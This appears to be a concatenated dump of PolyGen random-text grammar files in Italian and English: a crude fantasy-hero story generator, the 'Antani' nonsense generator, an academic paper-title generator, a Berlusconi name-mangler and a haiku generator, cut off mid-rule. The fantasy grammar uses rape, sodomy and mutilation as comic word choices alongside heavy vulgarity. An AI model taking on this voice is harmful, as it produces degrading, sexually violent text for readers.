spada[bastarda|lunga|corta|cortissima]|daga|ascia[bipenne]|porta|caccola|--narice|marmitta|finestra|lancia|verga|sedia|---merda|marmotta| moneta|--capocciata|[brutta]pecora[nuda]|[brutta]gallina[spennata]|scarica elettrica|--preghiera|palla|racchetta|bottiglia|gatta[nuda]| (mano|-merda|caccola|--narice|clavicola|--alitata|cornea|rotula|gamba) ["("^di CLASSE^")"] | vanga|spazzola|tastiera|cornetta|frizione|-"X-BOX"|-\playstation[CIFRA]| -"ADSL"|tosse|mazza[da baseball]|incudine|[brutta]ragazza[nuda]|[brutta]prostituta[nuda]| [brutta]fruttivendola[nuda]|mela|pera|--alitata|lettera [di dimissioni|di raccomandazione]| [brutta]cameriera[nuda]|[brutta]sorella[nuda]|[brutta]suora[nuda]|freccia|cazzuola|corda|gomena|pagaia|unghia|cappella|persiana[bipenne]| granata|granita|alabarda|barda|[penna a]sfera[rossa|nera|blu|-verde]|pinza|pinzetta|rete| bacchetta|asta|paletta )| m:(spadone|pugnale|arco[(corto|lungo)[composito]]|portone|naso|bastone|coltello| gatto|cane[idrofobo]|ariete[a CIFRA corna]|gallo|fulmine|siluro|dardo|giavellotto| (gomito|teschio|dente|alluce|dito[pollice|indice|medio|anulare|mignolo]|occhio|fegato|stronzo)["("^di CLASSE^")"]| scolapiatti|frullatore|mouse[wireless]|telefono[cordless]|martello[pneumatico]|parrucchiere|pony|sputo| fratello[minore|maggiore]|frate[francescano|domenicano|gesuita|eretico]| scalpello|scalpo|rampino|remo|pene["("^di CLASSE^")"]|telefonino["TAC"|"GMS"|"UMTS"|satellitare]|dado| bisturi|divaricatore|rasoio[elettrico|(bi|tri|quadri)^lama]|cuscino|cerchione| forcone|tridente|piccone|shuriken|semaforo|chiodo ) ; ARMA3 ::= --[a (2|--Cifretta.nz) mani] (della (+distruzione|creazione|fusione[mentale])| intelligente|puzzolente|--deficiente|avvelenante|intossicante|del terrore| vorpal|d'osso [di RAZZA2]|di cristallo ["Swarowsky\169"]|di gomma| con dentro un (dio|demone|fallo di gomma)| d'ebano|di merda|laser[di \shpalman] ) (+ _ | [da CLASSE]); ARMA ::= (f:[ARMA1.f] ARMA2.f|m:[ARMA1.m] ARMA2.m) ARMA3; INQUANTI ::= (tanti|molti|pochi)[^ssimi]|CIFRA; RE ::= PARTE^PARTE[ il SPECIAL1]; REGNO ::=( (( b^[l]^ash | trog | zwol | mop | yon | wos | zlom | krol | prot | dor | tor | yor | zor | for | por )^)+ )" " ; FU ::= divenne|fu conosciuto come|venne soprannominato \|si [auto^]proclamo'; AGGETTIVO1 ::= >(re|principe|falso|coraggioso|((dio|demone|paladino|fabbro|re|schiavo) [ (della [\]morte|del [\]male|del [\]bene|del [\]pene|dei [\]peti|de^SPECIAL2)]) | cavaliere | difensore [de^SPECIAL2]| capitano [(dei cavalieri | delle guardie)[\REGNO]] | giullare di corte |ammaestratore di SPECIALp. |RAZZA2) ; QUANDO ::= (un bel (T:tragico|N:_) giorno | una (T:tragica|N:_) mattina | una (T:tragica|N:_) notte [di mezza estate | d'autunno | d'inverno] | in un (T:tragico|N:_) giorno (particolare | che non ricordo)) ; UNITA ::= anni|giorni|mesi|lustri|ore|minuti|ere|settimane|[(micro|pico|femto|nano)^]secondi ; TRASC ::= passo'|trascorse|si>(masturbo'|strappo' peli|scaccolo'|addormento'|schiaccio' brufoli) per| dormi'|vagabondo'|governo'|studio'|perse tempo| abito' in (una locanda|una baracca|un castello|una caverna|un bordello)| ((lavoro'|si guadagno' da vivere|sopravvisse)[(in una locanda|++in un bordello|in una stalla|in una fattoria)]); DECISIONE ::= (dovette|(fu (costretto|convinto|deciso) a)|rinuncio' a|(decise|accetto'|smise)di ) MISSIONEp1 ^(lo|si); VERBO ::= ucciso|violentato|derubato|sventrato|demolito|raggirato|picchiato|deriso| azzoppato|ignorato|mangiato|sodomizzato|sporcato|unto|bagnato|ubriacato| scaricato|visto|leccato|dilatato|studiato|preso|cromato|schiacciato| imbottigliato|pugnalato|appeso[per(le palle|i pollici)]|impalato| invitato(a pranzo|a cena|ad andarsene [affanculo])|svuotato delle interiora| travestito da RAZZA2|curato|teletrasportato|esiliato|[s^]verniciato ; AZIONEVILE ::= >(nz:colpi'["("con (una ARMA.f|un ARMA.m) ")"]| z:>(prese|persuase|rapi'|rubo'|stupro'|mangio'|bastono'[a morte|a sangue]|vendette|fotografo'| truffo'|mise all'asta|sposo'|incendio' [accidentalmente]|cucino'|seppelli')); DISPREZZO ::= gli:>( ruppero(i denti|la testa|le gambe|le braccia|il naso|il culo)| sputarono|regalarono (un ARMA2.m|una ARMA2.f)|pisciarono in testa|insegnarono le buone maniere| sequestrarono (la sua ARMA2.f|il suo ARMA2.m)| appiccicarono delle caccole(sui denti|in testa|sulle gambe|sulle braccia|nel naso|nel culo)| bucarono le gomme(della moto|del motorino|della macchina|del camion|della biga| del pullman|dell'autobus|del tandem|del riscio'|del carro) ) | lo:>( disprezzarono|bastonarono|sodomizzarono|masticarono|[s^]verniciarono| invidiarono|bruciarono|cosparsero di(pece|benzina|merda|incenso|olio)| ignorarono|violentarono|azzopparono|svuotarono delle interiora|schiacciarono| travestirono da RAZZA2|invitarono(a pranzo|a cena|ad andarsene [affanculo])| amarono|odiarono|leccarono|baciarono|calpestarono|divisero|cromarono| crocifissero|impalarono|vivisezionarono|appesero[per(le palle|i pollici)]| imbottigliarono|processarono|cucinarono(al forno|in brodo|a vapore) ) ; RAZZA2 ::= --RAZZA | nano | -halfling["(hobbit senza copyright)"] | elfo [dei boschi|alto] | gnomo | CLASSE | umano | goblin | koboldo | drago[nero|rosso|verde|d'oro|blu|bianco]|vampiro| gigante[delle colline|delle tempeste|dei ghiacci]| fantasma|demone|baatezu|beholder|centauro|dinosauro|tirannosauro| brontosauro|diplodoco|velociraptor|[demi^]lich| ciclope|fungo|golem[d'osso|di ferro|di pietra|di carne|d'ambra]|grifone|fifone| (lupo|cinghiale|corvo|orso|pipistrello|ratto)[mannaro]| orco|scorpione|scheletro|serpente|tarrasque|titano|troglodita|troll| hacker|impiegato|collega|barbone|poraccio|tritone|unicorno| verme[iena]|yugoloth|+procione[gobbo]; TipoTerra ::=(+terra|spiaggia|valle|steppa|palude|citta'[sotterranea]|[pen^]isola|periferia); TipoTerre ::=(+terre|spiagge|valli|steppe|paludi|citta'[sotterranee]|[pen^]isole|periferie); AggTerre ::=(giovani|verdi|aride|schiumose|umide|paludose|deserte| affollate|ventose|putride|ripide|unte|erotiche|puzzolenti| molliccie|lontane|vicine|distrutte|leggendarie|gioviali| allegre|bucoliche|lontane|oscure); AggTerra ::=(giovane|verde|arida|schiumosa|umida|paludosa|deserta| affollata|ventosa|putrida|ripida|unta|erotica|puzzolente| molliccia|lontana|vicina|distrutta|leggendaria|gioviale| allegra|bucolica|lontana|oscura|ARMA1.f); Incipit ::= \c'era una volta un [SPECIAL1] RAZZA di nome NomeEroe| \il suo nome era NomeEroe ^"," ed era un [SPECIAL1] RAZZA| \quando ancora il mondo era giovane^"," il mondo conobbe NomeEroe figlio di \p^^REGNO ^"," un [SPECIAL1] RAZZA; Incipit2 ::=\questa e' la storia di come egli (riscatto'|si guadagno'|reclamo'|riscosse|---AZIONEVILE) (un RAZZA2|il suo (destino|ARMA.m)|la sua (ARMA2.f|(arma|eredita')^"," il "'"^ARMA.m^"'")); DimEsercito ::=f:[ARMA1.f](guarnigione|legione|pattuglia|divisione|banda)|m:[ARMA1.m](esercito|gruppo|commando|manipolo); FRASENEMICO ::= ("Ti"MINACCIA^"o'"(NomeEroe|NICKNAME)^[","bastardo di un RAZZA2^]"!!!")| ("Io ti maledico"(NomeEroe|NICKNAME)^"!!!")| ("Ti si possa rompere"(una ARMA2.f|un ARMA2.m)[in testa|nel culo|sui denti|in bocca]^"!!!")| ("I miei"([in]fedeli|luridi|ignobili|putridi)SPECIALpx. ti MINACCIA^"anno dolorosamente!!!")| ("Ti avverto"(NomeEroe|NICKNAME)^", prima ti faro'"MISSIONEp1. ^"e dai miei"([in]fedeli|luridi|ignobili|putridi)SPECIALp. "poi ti" MINACCIA^"o' con"(la mia [stessa] ARMA.f|il mio [stesso] ARMA.m)^"!!!")| ("Se mi lascerai andare ti regalero'" ((una|la mia) ARMA.f|(un|il mio) ARMA.m)"!!!")| ("Stronzo!") ; MINACCIA ::= avvelener|uccider|sterminer|spier|disperder|deruber|cromer|bacer|aiuter|combatter| catturer|manger|disosser|affiler|arruoler|recluter|incasiner|tromber|sodomizzer|far| minaccer|sterilizzer|disinfetter|acciaccher|sputer|incedier|[s^]vernicer| schiaccer; DELUSIONE ::= un due di picche|una delusione|una truffa|una [improvvisa|involontaria]sodomia| una punizione[divina|corporale|simbolica]|una festa|un ricevimento| una sessione di (tortura|gioco di ruolo|psicanalisi)|una doccia(bollente|gelida)| un attacco(di diarrea|di cuore|epilettico|di SPECIALp.) ; LOCANDA := "\nLa Locanda del Procione Gobbo\n"; COMPAGNIA := "\nla Compagnia" [del \girfalco]""; LAVORO ::=\( ( anche se[non] era [un] SPECIAL1 (amava|odiava) il suo lavoro di CLASSE[CLASSE]", " nonostante (INQUANTI SPECIALpx.|tutti[SPECIAL2]) lo (considerassero|credessero) ( un|(solo[" un"]|troppo[" poco"]) ) SPECIAL1 [e (un|(solo[" un"]|troppo[" poco"])) SPECIAL1] ) | (a dispetto de|grazie a)^lla sua [in^]naturale (inclinazione|voglia|necessita'|abitudine) di MISSIONEp1^e i suoi clienti[SPECIALpx.] (imparo' [presto|tardi] il mestiere di|ebbe fortuna come|miglioro' la sua abilita' di)CLASSE[CLASSE] durante (la sua gioventu'|i suoi primi CIFRA anni) | >(poco|troppo[poco]) SPECIAL1 per lavorare come CLASSE[CLASSE] dedico' (la sua gioventu'|i suoi primi CIFRA anni) a MISSIONEp1^e la sua abilita' di CLASSE[CLASSE] ); EPICA ::= \[[CIFRA] UNITA] dopo aver VERBO un CLASSE FU "\""^NICKNAME^"\"" e (tutti|+_)(_| i suoi(amici|nemici) [SPECIALpx.]| SPECIAL2x ) >(lo DISPREZZO.lo|gli DISPREZZO.gli) ; EPICA2 ::= \compi' altre [grandi] imprese^":\n" (MISSIONEp1^(e|si)(SPECIAL2|un RAZZA2))(^","MISSIONEp1^(e|si)(SPECIAL2|un RAZZA2))+^";\n" (anche se|ma|poi|tuttavia)(tutti|+_)(_|i suoi(amici|nemici) [SPECIALpx.]|SPECIAL2x) >(lo DISPREZZO.lo|gli DISPREZZO.gli) ;polygen-1.0.6.ds2/grm/ita/antani.grm0000644000175000017500000001245010340417034016523 0ustar enricoenricoI ::= "title: Antanizer (real)\n" ^ "author: Velenux <velenux@karma.oltrelinux.com>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: usare con moderazione\n" ^ "created: 12/09/2003" ; S ::= \ [Incipit ] Frase ^ Punteggiatura [ S ] ; Incipit ::= insomma | ma lei^"," | come dire^"," | come fosse (Soggetto | Oggetto) ^ "." \ | si parlava di (Soggetto | Oggetto) ^ ":" | ma^"," [ insomma^"," ] mi permetta ( ^ "!" \ | ^ ":" | ^ "." \ ) | no^"," [ no^"," [ no^"," ] ] attenzione ^ ";" | eh ^ ( "!" | "..." ) \ | ehhhh ^ ("!" | "...") \ | mi scusi ^ (^"," | "..." \ ) | ah^"," pardon ^ "." \ | no^"," dico ^ ( "!" \ | "..." \ | ":" ) ; Frase ::= Soggetto Verbo Azione Oggetto [^"," Inciso ^"," Frase ]; Inciso ::= ++ (in|nel) senso FiguraRetorica | VerboGerundio (Soggetto | Oggetto) che [^"," Inciso ^"," ] (Soggetto | Oggetto) VerboImperfetto Azione (Soggetto | Oggetto) [ e Frase ]; (* --------------- componenti della frase ------------------ *) Soggetto ::= +++ antani | tapioca | +++ supercazzola [ prematurata ] | un gatto | +++ ComponiSbi | ComponiTapioca | ComponiTablinda | una mucca | una pecora | un piccione | un tapiro | un bradipo | prematurata [ la supercazzola ] | lei ; Verbo ::= ha | e ^ "`" | ++ come fosse | fotte | frigge | succhia | soffia | mangia | +++ (parla | disquisisce | blatera) [ AggettivoParlare ] [ di Argomenti ] | +++ VerboInsulto (Soggetto | Oggetto) [ con AggettivoInsulto ] | sbrodola | insignisce | paragona (Soggetto|Oggetto) con (Soggetto|Oggetto) e | cristallizza | si infervora | ++ racconta storie | infittisce il mistero | miagola | abbaia | +++ gioisce | ++ blinda | tira via; VerboGerundio ::= avendo (avuto| sbrodolato| fregato| succhiato| mangiato | +++(parlato|disquisito|blaterato) [AggettivoParlare] [di Argomenti] [con (Soggetto|Oggetto)] | VerboInsulto ^ to (Soggetto|Oggetto) [con AggettivoInsulto] | paragonato (Soggetto|Oggetto) con (Oggetto) | raccontato storie | miagolato| abbaiato| prematurato| tirato via ) | essendo (stato| ^ si infervorato| nato| fritto) ; VerboImperfetto ::= aveva | era | sbrodolava ; VerboInsulto ::= fanculizza | infama | umilia | disprezza | cretineggia ; Azione ::= ParticellePronominali | Posizione | insieme a | ++ Verbo Avverbio Oggetto | con (Soggetto | Oggetto) e Verbo Azione | soltanto con NumeroDi | con [lo] scappellamento a (destra | sinistra) [ carpiato [all'indietro] ] ; Oggetto ::= palle | ++ antani | ComponiTapioca | ComponiSbi | ComponiTablinda | mucca | pecora | tapiro | bradipo | prematurata [la supercazzola] | [la] supercazzola [prematurata] | scarpallaccia [ ^ "-" ^ allacciascarpa ] | una cosa [da non credere|impossibile] | quintana | trinita ^ "`" | Denari ; (* --------------- sotto-componenti ---------------- *) Posizione ::= sopra [a|di] | sotto [a|di] | a fianco [a|di] | dietro [a|di] | davanti [a|di] | in mezzo [a|di] ; AggettivoParlare ::= con ( moderazione | gioia | disgusto | apprensione | vivacita ^ "`" | curiosita ^ "`" | disprezzo | amore | ipocrisia ) ; AggettivoInsulto ::= moderazione | cattiveria | serieta ^ "`" | odio | amore | stranezza | sincerita ^ "`" ; (* --------------- "utils" ----------------- *) Punteggiatura ::= Ex: "!" [ ^ (Punteggiatura.Ex | Punteggiatura.Quest) ] | Quest: "?" [ ^ (Punteggiatura.Ex | Punteggiatura.Quest) ] | +++ Norm: "." | Norm: "..." ; ParticellePronominali ::= di | a | da | in | con [ NumeroDi ] | su | per | fra [ NumeroDi ] | tra [ NumeroDi ] ; NumeroDi ::= un numero imprecisato di | Numero [ ^ Numero ] [ ^ Numero ] ; Numero ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Argomenti ::= corse di ( cani | gatti | moto | \ f1 | levrieri | macchine ) | rally [in siberia | nel deserto] | fumetti | libri | tante cose | musica [rock | classica | rap | pop | alternativa | strana] | cantanti [rock | folk | depressi | allegri | strani ] | scoregge | rutti | peti | piante | fiori | pollice verde | foglie di (platano | pioppo | quercia | ulivo) | cucina [ creativa | alternativa | vegetariana ] | alcool | preparazione di (cocktail | bombe | attentati | [deliziosi | ottimi] pranzetti | esami dell"'"uni ) | tante [ tante | tante tante ] cose ; ComponiSbi ::= sbi ^ VarieI ^ gu ^ VarieI ; ComponiTapioca ::= VarieTara ^ [ VarieTara ] ^ tapioca ; ComponiTablinda ::= VarieTara ^ [ VarieTara ] ^ tablinda ; VarieI ::= di | fi | li | ri | si ; VarieTara ::= ta | ra | tara | tarata ; Denari ::= Denaro [ ^"," Denari ] ; Denaro ::= sterline | dollari | svanziche | rubli | lire | euri | pesetas | franchi (svizzeri | francesi) | moneta [ forte | debole ] ; Avverbio ::= ovviamente | adesso | gia ^ "`" | spesso | raramente | qualche volta | attualmente | giustamente | incredibilmente ; FiguraRetorica ::= allegorico | allusivo | anacolutico | anacronico | anadiplotico | anaforico | analitico | antitetico | arcaico | catacretico | connotativo | denotativo | ellittico | enfatico | epifonemaico | inverso | ironico | metaforico | mimetico | omoteleutico | onomatopeico | ossimorico | paradossale | pleonastico | sarcastico | sinestetico | topico ; polygen-1.0.6.ds2/grm/ita/papertitle.grm0000644000175000017500000003335510340417034017431 0ustar enricoenricoI ::= "title: Paper titles\n" ^ "author: Enrico Zini <enirco@debian.org>\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: academic\n" ^ "comment: titles of academic papers are always like this\n" ^ "created: 16/09/2004" ; S ::= \ ShortTitle ^(":" | "?" \) LongTitle ; ShortTitle ::= -- a STFirst "of" STSecond "or a" STSecond "of" STFirst | -- the STFirst "of" STSecond "or the" STSecond "of" STFirst | ( Approach | "The" Approach | "A" Approach.A | "An" Approach.AN ) ("to" | "on") Approach | Doing ("the" | "a") Name | Doing ("the" | "a") Adjective Name | (the | a Adjective.A | an Adjective.AN | Adjective ) Doing ("of" Name | "of the" Doing | "of a" Doing.A | "of an" Doing.AN) ; STFirst := Name ; STSecond := Name ; Name ::= AN: >( action | actions | activity | acts | address | affectation | air | algorithm | anality | "apple-pie order" | approach | arrangement | attack | enterprise | envisagement | observable behavior | operations research | order | orderliness | organization | idea | intention ) | A: >( bearing | behavior | behavior pattern | behavioral norm | behavioral science | blueprint | blueprinting | calculation | carriage | charting | comportment | conception | conduct | contrivance | course | culture pattern | custom | demeanor | deportment | design | device | discipline | disposition | doing | doings | fashion | figuring | fine fettle | folkway | foresight | forethought | form | game | gestures | "goings-on" | good condition | good shape | good trim | graphing | ground plan | guidelines | guise | layout | line | line of action | lines | lineup | "long-range plan" | maintien | manner | manner of working | manners | mapping | master plan | means | method | methodicalness | methods | mien | mode | mode of operation | mode of procedure | modus operandi | modus vivendi | motions | movements | moves | neatness | pattern | plan | planning | planning function | poise | port | pose | posture | practice | praxis | prearrangement | presence | procedure | proceeding | process | program | program of action | rationalization | routine | schedule | schema | schematism | schematization | scheme | scheme of arrangement | setup | social science | strategic plan | strategy | style | system | systematicness | systematization | tack | tactical plan | tactics | technique | big picture | drill | picture | tidiness | tone | trimness | way | way of life | ways | wise | working plan ) ; Adjective ::= AN: >( absolute | absolutist | absolutistic | accepted | accurate | adept | adroit | approved | apt | arbitrary | aristocratic | armipotent | arrogant | artistic | ascendant | assuring | attested | authentic | authenticated | authoritarian | authorized | autocratic | ecumenic | effective | effectual | efficacious | eminent | empowered | enchanting | energetic | estimable | evangelical | ex cathedra | ex officio | excellent | expert | imperative | imperial | imperious | important | impressive | indisputable | influential | informed | ingenious | instructive | irrefutable | irresistible | official | operative | oppressive | orthodox | orthodoxical | overbearing | overruling | unrefutable ) | A: >( postmodern | interactive | new | modernist | innovative | "Christian" | "Daedalian" | binding | bossy | bravura | brilliant | canonical | cathedratic | certified | charismatic | charming | circumstantiated | clean | clever | cogent | commanding | competent | conclusive | confined | confirmed | consequential | considerable | consistent | controlling | conventional | conversant | convictional | convincing | coordinated | correct | crackerjack | cunning | customary | cute | decisive | deft | dependable | despotic | determinative | dexterous | dextrous | dictated | dictatorial | didactic | diplomatic | doctrinaire | documented | dogmatic | dominant | duly constituted | dynamic | factual | faithful | familiar | fancy | featured | feudal | firm | forceful | forcible | formulary | good | goodish | governing | graceful | great | grinding | handy | hard and fast | hegemonic | hegemonistic | "high-handed" | "high-potency" | "high-powered" | "high-pressure" | "high-tension" | knowledgeable | lawful | leading | learned | legal | legitimate | limited | literal | logical | lordly | magisterial | magistral | magnetic | mandatory | masterful | masterly | mighty | momentous | monocratic | neat | peremptory | personable | persuasive | political | powerful | preceptive | preeminent | prepotent | prescribed | prescriptive | prestigious | professional | proficient | prominent | proper | proven | puissant | quick | ranking | ready | received | regulation | reliable | repressive | reputable | resourceful | restricted | right | ruling | sanctioned | satisfactory | satisfying | scholarly | scriptural | "self-consistent" | senior | severe | skillful | slick | solid | sound | specialist | specialistic | specialized | standard | statutory | strict | striking | strong | stylish | suasive | substantial | sufficient | superior | suppressive | supreme | sure | tactful | technical | textual | totalitarian | traditional | traditionalistic | true | "true-blue" | trustable | trustworthy | truthful | tyrannical | tyrannous | valid | validated | verifiable | verified | veritable | vigorous | virtuoso | vital | weighty | "well-done" | "well-founded" | "well-grounded" | "well-read" | winning | tentative ) ; Approach ::= AN: > (accomplishment | achievement | advance | advent | alikeness | alliance | analogy | answer | anticipation | appeal | approximation | arrangement | arrival | attack | attainment | attempt | attitude | endeavor | engagement | enterprise | entrance ) | A: > (destiny | fate | calculation | charting | check | mapping | crash course | coming | community | comparison | concentralization | conception | concourse | concurrence | confluence | conflux | conformity | confront | congress | convergence | correspondence | corridor | course | cultivate | design | device | disposition | drawing | encounter ) | PL: > ( advances | approaches ) ; (* entreat, entry, entryway, environs, envisagement, equal, essay, establish connection, evoke, exert influence, expect, experiment, face, fall in with, fashion, favor, feeler, fetch, fetch up at, figuring, find, fix, fling, focalization, focus, follow, foreground, foresee, foresight, foretell, forethought, form, forthcome, forthcoming, funnel, futurity, gain, gain upon, gambit, game, gangplank, gangway, gather, get at, get cozy with, get in, get there, get to, get warm, go, graphing, grease, grease the palm, greet, ground plan, guidelines, guise, hail, hall, halloo, hang over, hit, hit town, hope, hover, hub, idea, identity, imitate, imitation, immediacy, immediate foreground, immediate future, imminence, impend, impendence, impendency, implore, importune, in, ingress, inlet, intake, intention, interrogate, intersect, invitation, invoke, landing, layout, lead on, lick, lie ahead, lie over, lift a finger, likeness, likening, line, line of action, lines, lineup, lobby, lobby through, long-range plan, look for, look forward to, look like, loom, lower, magnetize, maintain connection, make, make a pass, make advances, make an attempt, make an effort, make an overture, make contact with, make it, make overtures, make up to, manner, manner of working, mapping, master plan, match, materialize, means, means of access, meet, meeting, memorialize, menace, metaphor, method, methodology, mimic, mimicking, mirror, mode, mode of operation, mode of procedure, modus operandi, move, movement, mutual approach, narrow the gap, narrowing gap, near, near future, nearly reproduce, nearness, negotiate, neighborhood, nigh, nighness, nip, not tell apart, offer, offering, opening, operations research, order, organization, overhang, overture, overtures, parallel, parallelism, parity, parley, partake of, passage, passageway, path, pay addresses to, pay court to, pay off, pinch, plan, planning, planning function, play up to, plead, plot, pop up, practice, prearrangement, precinct, predict, preliminary approach, present itself, presentation, procedure, proceeding, process, proffer, program, program of action, project, prophesy, propinquity, proposals, propose to, proposition, propositions, proximate, proximity, pull in, pull strings, punch in, purchase, purlieus, question, radius, raise, rationalization, reach, reaching, relate to, remind one of, reply to, resemblance, resemble, respond to, ring in, rival, roll in, routine, run after, run together, salute, sameness, savor of, schedule, schema, schematism, schematization, scheme, scheme of arrangement, seem like, semblance, setup, shine up to, shot, show up, sidle up to, sign in, similarity, simile, similitude, simulate, simulation, smack of, solicit, sound like, sound out, speak, speak fair, speak to, spokes, spring up, stab, stack up, stack up with, step, step up, strategic plan, strategy, stroke, strong bid, style, submission, suborn, suggest, supplicate, system, systematization, tack, tactical plan, tactics, take after, take aside, take care of, talk to, tamper with, tangent, taper, technique, tentative, tentative approach, the big picture, the drill, the how, the picture, the way of, threaten, throw a pass, tickle the palm, time in, tone, touch, touchdown, trench, trial, trial and error, try, turn up, undertake, undertaking, unite, venture, venture on, venture upon, verge, vestibule, vicinage, vicinity, way, way in, whack, wire-pull, wise, work on, working plan *) Doing ::= AN: >(accompanying | accomplishing | achieving | acquitting | acting | advantaging | affecting | answering | appearing | arriving | assisting | assuming | attaining | attending | authoring | availing ) | A: >(baking | banquetting | barbecuing | engaging | equaling | being producting | bearing | beating | begetting | behaving | benefitting | besteading | betiding | bilking | blanching | blowing out | boiling | borrowing | bottoming | braising | breaking | breeding | brewing | bringing about | bringing forth | bringing into being | bringing off | bringing to effect | bringing to fruition | broiling | carrying into execution | carrying on | carrying out | carrying through | catching | causing | chancing | cheating | chording | chorusing | chousing | clearing up | clipping off | coddling | coming off) ; (* come to, commit, compass, complete, comport, conceive, concertize, conclude, conduct, consummate, cook, copy, counterfeit, course, cover, cozen, crack, create, crib, curry, deal with, debug, decipher, decode, defraud, demean, deport, determine, develop, devil, diddle, discharge, discourse, disentangle, dispatch, dispose of, ditto, divine, do it, do like, do out of, do the job, do the trick, do to, do to perfection, dope, dope out, echo, effect, effectuate, employ, enact, end, engage in, engender, engineer, establish, execute, exercise, explain, fair, fake, fall out, fare, father, fathom, feast, festival, festive occasion, festivity, fetch, fete, field day, fiesta, figure out, fill the bill, find out, find the answer, find the solution, finish, fire, fit, flimflam, follow, forge, found, fricassee, frizz, frizzle, fry, fulfill, gala, gala affair, gala day, generate, gestate, get, get along, get by, get on, get right, give birth to, give good returns, give occasion to, give origin to, give rise to, go, go and do, go around, go at, go in for, go like, go on, go over, go to, great doings, griddle, grill, guess, guess right, gyp, hack it, halt, have it, have the goodness, heat, high jinks, hit, hit it, hoke, hoke up, hold, if you please, imitate, impersonate, inaugurate, industrialize, inflict, institute, interpret, jamboree, just do, kermis, knock off, look on, make, make like, make music, make out, make the grade, manage, masquerade as, mass-produce, measure, meet, meet requirements, mime, mimic, mirror, misbehave, move, muddle through, occasion, occur, open the lock, originate, oven-bake, overpass, overproduce, overreach, pan, pan-broil, pantomime, parboil, party, pass, pass for, pass muster, pass over, pass through, patrol, pay, pay off, perambulate, peregrinate, pererrate, perform, perpetrate, personate, picnic, plagiarize, play, play a part, play by ear, playact, please, plumb, ply, poach, polish off, pose as, practice, pray, pray do, prepare, prepare food, pretend to be, prithee, proceed, produce, profit, prosecute, psych, psych out, pull off, pursue, put away, puzzle out, qualify, quit, range, range over, ravel, ravel out, puzzle out, qualify, quit, range, range over, ravel, ravel out, reach, realize, reconnoiter, reecho, reflect, relate, render, repeat, resolve, riddle, roast, satisfy, saute, scallop, scour, scour the country, scout, sear, see, serve, serve the purpose, set afloat, set on foot, set up, shirr, show up, simmer, simulate, sire, sit in, solve, sort out, specialize in, stagger, stand, stand up, steam, stew, stir-fry, stretch, succeed, suffice, suit, sweep, symphonize, tackle, take and do, take care of, take in, take it, take off, take on, take to, take up, terminate, toast, track, transit, transpire, travel over, travel through, traverse, turn the trick, turn up, undertake, undo, unlock, unravel, unriddle, unscramble, untangle, untwist, unweave, up and do, use, visit, volume-produce, voyage, wage, watch, waygoose, wayzgoose, will you, wind up, witness, work, work at, work out, wrap up, wreak, yield a profit *) LongTitle ::= -------- "which future?" | ("the" | "a") (_ | >Adjective) Approach (to | of) (the | a) (_ | >Adjective) Approach "of" Approach ^"." ; polygen-1.0.6.ds2/grm/ita/silvio.grm0000644000175000017500000000363410340417034016562 0ustar enricoenricoI ::= "title: Silvio\n" ^ "author: Er Polo <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 07/11/2004" ; S ::= \Sil \Ber; Sil ::= +++++ [ ( gian | pier ) ^ ] ( gian | pier ) ^ silvio | ++++ [ pier ^ ] si ^ ( rio | + lvan | -- lvester | lly ) | +++ [ pier ^ ] ( -- bivio | fulvio ) | ------ paperon \de | ( ( en | do ) ^ decas | abras | persuas | evas | decis | circonc | elis | deris | sorris | perquis | impazz | espans | trans | esplos | innervos | deters | discors | promess | depress | confus | indolenz | raggrinz | incis ) ^ ilvio | ( imperv | nev | + [ gi ^ ] uliv | emil [ ^ v ] | gig | berill | lasciv | elargiv | +++++ lic | basil [ ^ v ] | visibil | decliv | triv ) ^ io | ( cip | bisb | giac | barg | scons | merav | gozzov ) ^ iglio | carcarlo ; Ber ::= >> ( + bunker | --- disil | rimber | ++ pier | ---- cyber | sber ) ^ lusconi | ( buontemp | cianfrusc | + maneggi | + mattacchi | Ber1 | spendacci | paper | pravett | --- belbisci | --- belburl | basett | barzell [ ^ ett ] | [ s ^ ] pernacchi ) ^ oni | -- bei ^ ( dobl | fig | mili ) ^ oni | ber ^ ( buffoni | gonzoni | luscodonosor | nasconi | usconi ) | --- ( fara | lumac | baracc | + parrucc | melic | zotic | mozzic | verruc | donad | torped | bestemmi | perversi | ++ collusi | cavicchi | faragli | dormigli | rompigli | farfall | ciambell | capell | cervell | brontol | fanfar | calder | chiacchier | zampir | ciclotr | sganass | trapatt | buttigli ) ^ oni | ( "PresDel" | "BerLus") ^ "Cons" | Ber2^usconi << ; Ber1 ::= b,(+p|v|-f)^e^(v|++r|+l)^(+r|v|m),l^us^(+c|g) ; Ber2 ::= (+++b|+p|v|-f)^e^(v|+++r|l)^(+r|+l|v|m) ;polygen-1.0.6.ds2/grm/ita/haiku.grm0000644000175000017500000000470410340417034016355 0ustar enricoenricoI ::= "title: Haiku\n" ^ "author: Mefistofele <matteo@genhome.org>" ^ "language: italian\n" ^ "status: embrional\n" ^ "topic: poetry\n" ^ "audience: anybody\n" ^ "created: 11/10/2004" ; S ::= ( (Poesia3 "\n"^(Poesia1 | Poesia2)) |(Poesia3 "\n"^ACTION "\n"^(Poesia1 | Poesia2)) )^"\n" ; Poesia1 ::= ( [in] (Object.M.art di Obj12) "\n"^(Verb d^("'"^Obj11))); Poesia2 ::= (Verb d^("'"^Obj11) "\n"^(Object.M.art di Obj12)) | (Verb d^("'"^Obj11) "\n"^(Object.F.art di Obj12)) ; Verb ::= ((osservar | veder | contemplar | ammirar | [ancora] amar | venerar | trafigger | posseder | raccontar)^(e|+ti)) | concepire | [ancora] morire | carpire | ricordare [(forse)] | conservare | soffrire | credere | nascere | fremere | tremare | [im]^memore | vittima | incubo | seguace | segreto | dubbio | mancanza | assenza | solitudine | frenesia | brivido | fremente ; Object ::= (art: (M: un | F: un) | NOart: _) ( M: (bosco | fiume | regno | confine | dolore | ^"o spazio" | custode [geloso]) | F: ( ^"'"^(alba | aurora | alcova) | ^"a" (catacomba | rovina | tomba | marea ) ) ) ; Objects ::= (M: (tramont | vent | ocean | ricord | raccont) | F: (nebbi | mare | strad | nuvol)); Obj1 ::= (Object.NOart | (Objects.M^(o|i)) | (Objects.F^(a|e))); Obj11 ::= autunno | inverno | estate; Obj12 ::= luce | fuoco | primavera | neve | ghiaccio | metallo; Poesia3 ::= (APlace (AObject.art.M | AObject.art.F) AVERB); APlace ::= quando | [la] dove; AMObj ::= 